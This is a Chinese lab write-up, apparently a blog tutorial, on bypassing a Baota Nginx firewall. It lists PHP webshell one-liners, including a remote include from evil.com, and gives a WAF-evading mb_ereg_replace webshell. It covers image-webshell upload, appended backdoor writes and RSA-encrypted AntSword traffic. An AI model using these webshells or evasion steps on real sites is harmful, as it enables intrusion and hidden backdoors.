免责声明 本文全部实验操作均在本人完全可控的自建本地靶场环境完成 ,文章仅用于网络安全原理学习与技术研究。根据《中华人民共和国网络安全法》,未经授权对任何第三方系统进行探测、命令执行、文件写入等操作属于违法行为。
严禁复制、使用本文中的 Payload、代码应用到未获得授权的设备上。若读者将文中内容用于非法用途,一切法律责任由行为人本人承担,与本文作者无关。
个人水平有限,如有不足欢迎指正。
**摘要:**本文基于本地合法可控靶场,围绕文件上传与文件包含漏洞实验展开,演示在宝塔 Nginx 防火墙环境下如何通过图片马上传、文件包含与 file_put_content() 写马实现绕过;最后说明如何通过蚁剑 RSA 加密通信规避 WAF 对明文流量的检测,从而完成连接验证。
实验前提:自己搭建的本地合法可控靶场。
环境准备:宝塔面板自搭网站,存在一个文件包含漏洞,启用宝塔面板自带的免费Nginx防火墙,基于此实现文件上传的webshell绕过。
前期知识准备
常见的php webshell类型
1. 直接型
eval($_POST['cmd']);
assert($_POST['cmd']);
这是最直观的一类:$_POST'cmd',直接进入代码执行函数执行。例如 eval() 的作用是把传入的字符串作为 PHP 代码执行。因此这种代码非常容易被静态检测发现,因为代码中直接出现了:eval(),assert()
特点
- 代码结构简单
- 容易理解
- 特征明显
- 比较容易被安全产品通过关键函数特征发现
2. 回调型
array_map('assert', $_POST);
usort($_POST[1], $_POST[2]);
什么叫"回调型"?
这里的关键不是直接写:eval(...)。而是:把某个函数作为参数传给另一个函数,由另一个函数间接调用它。
核心思想:利用 PHP 的回调机制间接调用具有执行能力的函数。
常见回调函数
- call_user_func()
- array_map()
- array_filter()
- usort()
array_map()
数组回调函数,把数组每一个元素 丢给回调函数处理,返回新数组。
array_map(callable|null $callback, array $array, array ...$arrays): array
- $callback:回调函数,可以是函数名字符串、匿名函数、可变函数
- $array:要遍历的数组
- 返回:处理完成的新数组,不修改原数组
基础示例
function add($v){
return $v+1;
}
$arr = [1,2,3];
$res = array_map('add',$arr);
// $res = [2,3,4]
漏洞利用
1. 可变函数风险,外部输入可控
如果回调函数名来自用户可控输入,会造成代码执行
// $_POST['func']=system $_POST['arr'][]=id
array_map($_POST['func'],$_POST['arr']);
POST 提交:
func=system&arr[]=id
等价执行 system("id")
这是非常经典无 assert、eval 情况下的 RCE payload。
3. 包含型
include $_FILES[2]['tmp_name'];
require 'http://evil.com/1.txt';
什么是包含型?
核心是利用:include、require等 PHP 文件包含机制。例如:include file;PHP 会尝试把 `file` 指向的内容加载到当前 PHP 程序中执行。
因此这里的核心逻辑不是:直接执行字符串而是:指定文件经过include / require加载文件内容,PHP 解析其中的代码
include 和 require 两者都可以用于文件包含。主要区别在于包含失败后的处理方式:
- include:产生警告,程序通常继续执行
- require:产生致命错误,程序通常停止
4. 变形型
eval(gzdeflate(base64_decode('...')));
$_ = [];
$_++;
$_++;
...
$_($_);
什么叫"变形型"?
这里的核心思想是:不直接把明显的执行代码写出来,而是经过编码、转换、拼接等方式改变代码的表现形式。
例如:base64_decode(...)可以对 Base64 数据进行解码。而:gzdeflate(...)涉及压缩数据处理。所以可以出现类似:编码/压缩的数据经过解码/解压得到原始内容,进入执行逻辑
第二个例子则属于通过 PHP 的类型转换、运算等机制构造出某些值,再进一步调用。需要注意 "变形型"并不是一个 PHP 官方分类,而是安全领域对这类代码混淆/变形特征的概括。
5. 命令型
$_POST[2];
system($_POST[2]);
这里第二个更加典型。
核心特点
它不是让 PHP 解释器执行 PHP 代码,而是:**调用操作系统命令执行相关函数。**例如:system(...)属于 PHP 与操作系统命令交互的一类函数。
逻辑可以理解成:外部输入system()后操作系统执行系统命令。常见相关函数还包括:system()、exec()、shell_exec()、passthru()。因此在 PHP 安全分析中,这些函数通常需要重点关注。
6. 技巧型
create_function('', $_POST[2333]);
preg_replace('/.*/e', $_POST[1], $_POST[2333]);
这一类比较特殊。它的特点是:利用某些 PHP 函数的特殊行为,使数据最终进入代码执行流程。
例如历史版本中的:preg_replace('/.*/e', ...);其中 /e 修饰符曾经允许替换结果作为 PHP 代码执行。这是一个历史机制,现代 PHP 版本已经移除 /e 修饰符,同样,create_function() 也是历史上的动态创建函数机制,在现代 PHP 中已经被移除。
filter_input()函数
查阅php官方文档可以发现对于该函数的解释,和适用的php版本范围,该函数的结构可以先这样理解:filter_input(从哪里取, 取哪个参数, 怎么处理, 额外规则), 作用:从用户输入中"取出一个值,并按照指定规则过滤它"。

作用:从用户输入中"取出一个值,并按照指定规则过滤它"。
1. 最基本的用法
例如:$name = filter_input(INPUT_GET, 'name');
假设访问:http://example.com/test.php?name=Tom
那么:$name=Tom,这里最重要的是理解它的两个参数:filter_input(来源, 参数名); 第一个参数告诉 PHP:要从哪一种用户输入中取数据 常见的有:INPUT_GET、INPUT_POST、INPUT_COOKIE。INPUT_GET, 从 URL 的 GET 参数中获取。
例如:/test.php?id=123
代码:$id = filter_input(INPUT_GET, 'id');相当于告诉 PHP:去 GET 数据里面找一个叫 id 的参数。
第三个参数查看官方文档可以得知,可以得到以下关键信息

mb_ereg_replace
参数:
- $pattern:正则表达式
- $replacement:替换内容
- $string:待处理字符串
- $options:选项,传入e时,替换字符串会被当做 PHP 代码执行PHP
版本变化
- PHP5‑7.0:e选项可用,可 RCE
- PHP7.1+:e被废弃,不再执行代码,警告提示PHP

示例漏洞代码:
// 用户可控 $reps
mb_ereg_replace('\d', $reps, '123', 'e');
传入$reps="phpinfo()",等价执行eval("phpinfo()"),RCE。
mb_ereg_replace(".*",'system("id");',"abc",'e');
和preg_replace /e很像,但属于 mbstring 多字节正则,代码执行触发条件:第四个参数写e;preg_replace是 PCRE 正则。

成功执行

基于fileter_inpute和mb_ereg_replace产生的websell
由于测试环境中的 WAF 会对 $_GET 等直接获取 GET 参数的代码特征进行识别和拦截,因此这里改用 PHP 提供的 filter_input() 接口获取 GET 参数。
<?php
mb_ereg_replace(".*",'\0',filter_input(INPUT_GET,'cmd'),'e');

1.在宝塔根目录中创建一个用于文件上传的html文件
另外创建一个用于保存到本地的php代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="upfile" />
<button type="submit">上传文件</button>
</form>
</body>
</html>
2.制作图片马后门


经过多次上传尝试发现该图片并不能被上传

查看站点的防火墙日志发现,防火墙可能成功检测出这是一个图片马

猜测原因可能是因为包含了<? php这个标签(实际上这里可以查看这个防火墙拦截规则里确实 有 过滤这个标签),使用短标签重新制作图片马,再次上传

这一次成功上传,进入目录查看确实存在这个图片

3.创建一个文件包含漏洞

包含该图片时,发现可能会报错如下,于是可以改为使用上传.gif文件


上传成功

这一次页面并没有乱码了,只又提示e参数依旧被废弃

测试改文件包含漏洞和我们的图片马是否生效

在php7中支持('phpinfo')(),PHP 7 新增:字符串后面直接跟圆括号,会把该字符串当作函数名来调用
发现成功利用

4.file_put_content()
PHP 文件写入函数,把字符串写入文件;文件不存在自动创建,默认直接覆盖原有内容PHP。
参数说明
- $filename:目标文件路径(相对 / 绝对路径)
- $data:要写入的内容,字符串、数组、流资源PHP
- $flags 可选
- FILE_APPEND:追加写入 ,不覆盖原有内容;不加这个就是覆盖,FILE_APPEND****是 PHP 的预定义常量,它本身的值就是整数 8
- LOCK_EX:写入时加独占锁,防止并发冲突
- $context:流上下文,一般不用
返回值
- 成功:返回写入的字节数
- 失败:返回 false
利用图片马执行该函数,由于直接写后门文件,如果一次写完整的,其中的内容可能会被检测到,导致不能成功,于是可以采用追加模式





5.尝试蚁剑连接
尝试直接使用蚁剑连接一句话木马,抓包可见 POST 数据明文携带eval危险函数;WAF 识别危险函数直接拦截流量,连接失败。需要对蚁剑通信流量做加密处理规避检测。
在服务端 PHP 代码中加入 RSA 通信加密逻辑。 通过 RSA 公钥对通信数据进行加密,并在服务端使用对应私钥进行解密,使客户端与服务端之间传输的数据不再以原始明文形式直接出现。
该脚本负责接收并解密客户端发送的加密数据,因此需要将其放置在当前靶场中,作为客户端建立加密通信的服务端入口。

**可继续使用追加模式追加该php代码,**或者使用copy命令从另一个自己搭建的靶场中复制到该靶场
copy
通过临时 HTTP 文件服务提供测试文件,并在目标测试环境中将文件复制到相应目录



重新配置客户端连接参数后成功建立通信,说明服务端 RSA 加密逻辑与客户端配置能够正常配合工作,验证了加密通信配置的有效性。再次尝试蚁剑连接,成功连接。

此时蚁剑通信数据已经经过加密,请求中的内容呈现为密文形式,WAF 无法像分析明文流量一样直接识别其中的原始特征。对于 WAF 而言,这类请求的内容特征与普通业务中的加密数据可能存在一定相似性,因此仅依靠流量内容难以准确判断其是否属于恶意通信。若直接拦截可能产生误报,而放行又可能存在漏报风险。

